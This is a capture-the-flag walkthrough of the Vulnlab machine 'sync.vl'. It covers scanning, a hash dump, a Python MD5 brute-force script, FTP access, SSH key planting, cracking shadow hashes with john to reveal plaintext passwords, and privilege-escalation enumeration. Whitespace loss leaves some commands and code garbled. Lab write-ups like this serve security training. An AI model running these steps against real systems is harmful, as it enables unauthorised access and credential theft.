└─$ nmap -A -sC -sV -p21,22,80,87310.10.110.93 -Pn StartingNmap7.94SVN ( https://nmap.org ) at 2025-02-10 13:36 EST Nmap scan report for10.10.110.93 Host is up (0.041s latency).
PORTSTATESERVICEVERSION 21/tcp open ftp vsftpd 3.0.5 22/tcp open ssh OpenSSH8.9p1 Ubuntu 3ubuntu0.1 (UbuntuLinux; protocol 2.0) | ssh-hostkey: | 256 1b:97:60:11:e9:dd:3d:1d:ce:18:d3:ca:12:e5:13:fb (ECDSA) |_ 25684:94:57:1a:0c:0d:90:ec:27:f9:65:fb:a0:85:39:f2 (ED25519) 80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) |_http-server-header: Apache/2.4.52 (Ubuntu) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-title: Login 873/tcp open rsync (protocol version 31) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port AggressiveOSguesses: Linux3.1 (95%), Linux3.2 (95%), AXIS 210A or 211NetworkCamera (Linux2.6.17) (95%), ASUSRT-N56UWAP (Linux3.4) (93%), Linux3.16 (93%), Linux2.6.32 (93%), Linux2.6.39 - 3.2 (93%), Linux3.1 - 3.2 (93%), Linux3.11 (93%), Linux3.2 - 4.9 (93%) No exact OS matches forhost (test conditions non-ideal). NetworkDistance: 2 hops ServiceInfo: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 21/tcp) HOPRTTADDRESS 139.90 ms 10.8.0.1 240.07 ms 10.10.110.93
000000003: 20025 L 60 W 1392Ch"# Copyright 2007 James Fisher" 000000007: 20025 L 60 W 1392Ch"# license, visit http://creativecommons.org/licenses/by-sa/3.0/" 000000001: 20025 L 60 W 1392Ch"# directory-list-2.3-medium.txt" 000000015: 20025 L 60 W 1392Ch"index" 000000009: 20025 L 60 W 1392Ch"# Suite 300, San Francisco, California, 94105, USA." 000000012: 20025 L 60 W 1392Ch"# on at least 2 different hosts" 000000008: 20025 L 60 W 1392Ch"# or send a letter to Creative Commons, 171 Second Street," 000000011: 20025 L 60 W 1392Ch"# Priority ordered case-sensitive list, where entries were found" 000000006: 20025 L 60 W 1392Ch"# Attribution-Share Alike 3.0 License. To view a copy of this" 000000014: 4039 L 28 W 272Ch"http://sync.vl/.php" 000000010: 20025 L 60 W 1392Ch"#" 000000013: 20025 L 60 W 1392Ch"#" 000000005: 20025 L 60 W 1392Ch"# This work is licensed under the Creative Commons" 000000004: 20025 L 60 W 1392Ch"#" 000000002: 20025 L 60 W 1392Ch"#" 000001225: 3020 L 0 W 0Ch"logout" 000002927: 3020 L 0 W 0Ch"dashboard"
DB - Dumping & Cracking users passwords:
1 2 3 4 5 6 7 8 9
└─$ sqlite3 site.db SQLite version 3.46.12024-08-1309:16:08 Enter".help"for usage hints. sqlite> .tables users sqlite> select * from users; 1|admin|7658a2741c9df3a97c819584db6e6b3c 2|triss|a0de4d7f81676c3ea9eabcadfd2536f6 sqlite>
But unfortunately we can’t crack the hashes since we don’t know their format and also john or hashcat don’t know it. So need to see, how the hash was created:
# Define the secure string and the target hashes secure = "6c4972f3717a5e881e282ad3105de01e" target_hashes = { "admin": "7658a2741c9df3a97c819584db6e6b3c", "triss": "a0de4d7f81676c3ea9eabcadfd2536f6" }
# Path to the rockyou.txt wordlist wordlist_path = "/usr/share/wordlists/rockyou.txt"
# Function to generate the hash def generate_hash(username, password): combined = f"{secure}|{username}|{password}" return hashlib.md5(combined.encode()).hexdigest()
# Function to brute-force the hashes def brute_force_hashes(): withopen(wordlist_path, 'r', encoding='latin-1') aswordlist: for password inwordlist: password = password.strip() for username, target_hash in target_hashes.items(): generated_hash = generate_hash(username, password) if generated_hash == target_hash: print(f"Found match: Username: {username}, Password: {password}") return
└─$ ftp sync.vl Connected to sync.vl. 220 (vsFTPd 3.0.5) Name (sync.vl:kali): triss 331Please specify the password. Password: 230Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 229EnteringExtendedPassiveMode (|||17383|) 150Here comes the directory listing. 226Directory send OK. ftp> ls -la 229EnteringExtendedPassiveMode (|||53979|) 150Here comes the directory listing. drwxr-x--- 2100310034096Apr212023 . drwxr-x--- 2100310034096Apr212023 .. lrwxrwxrwx 1009Apr212023 .bash_history -> /dev/null -rw-r--r-- 110031003220Apr192023 .bash_logout -rw-r--r-- 1100310033771Apr192023 .bashrc -rw-r--r-- 110031003807Apr192023 .profile 226Directory send OK. ftp>
And we can see that we have acess to triss users home folder. With this in mind we can create a .ssh folder where we can put our public key in order to connect to it.
Using the password we cracked for the user triss we can connect as the janiffer’s user:
1 2 3 4 5 6 7 8 9 10 11 12 13
triss@ip-10-10-200-238:/tmp$ su - jennifer Password: jennifer@ip-10-10-200-238:~$ ls -lah total 24K drwxr-x--- 2 jennifer jennifer 4.0K Apr212023 . drwxr-xr-x 7 root root 4.0K Apr192023 .. lrwxrwxrwx 1 root root 9Apr212023 .bash_history -> /dev/null -rw-r--r-- 1 jennifer jennifer 220Apr192023 .bash_logout -rw-r--r-- 1 jennifer jennifer 3.7K Apr192023 .bashrc -rw-r--r-- 1 jennifer jennifer 807Apr192023 .profile -rw-r--r-- 1 jennifer jennifer 37Apr192023 user.txt jennifer@ip-10-10-200-238:~$ cat user.txt VL{bcf845cf94864fbba7e016d9fcd3a2db}
In the root folder we can see a backup folder containing some strange zip files. Extracting one of them reveal the following content:
Now we have the passwd and shadow files. With those files we can unshadow them and crack the users hashes using john the ripper:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
┌──(kali㉿kali)-[~/Desktop/Workspace/Vulnlab/sync.vl] └─$ unshadow passwd shadow > unshadow ┌──(kali㉿kali)-[~/Desktop/Workspace/Vulnlab/sync.vl] └─$ sudo john --wordlist=/usr/share/wordlists/rockyou.txt --format=crypt unshadow Usingdefault input encoding: UTF-8 Loaded5 password hashes with5 different salts (crypt, generic crypt(3) [?/64]) Cost1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0for all loaded hashes Cost2 (algorithm specific iterations) is 1for all loaded hashes Will run 5OpenMP threads Press'q' or Ctrl-C to abort, almost any other key for status sakura (sa) gerald (jennifer) gerald (triss)
So let’s switch to the sa user using the password sakura and run linpeas in order to find privilege escalation vectors:
1 2 3 4 5
╔══════════╣ .sh files in path ╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#scriptbinaries-in-path You own the script: /usr/local/bin/backup.sh /usr/bin/gettext.sh /usr/bin/rescan-scsi-bus.sh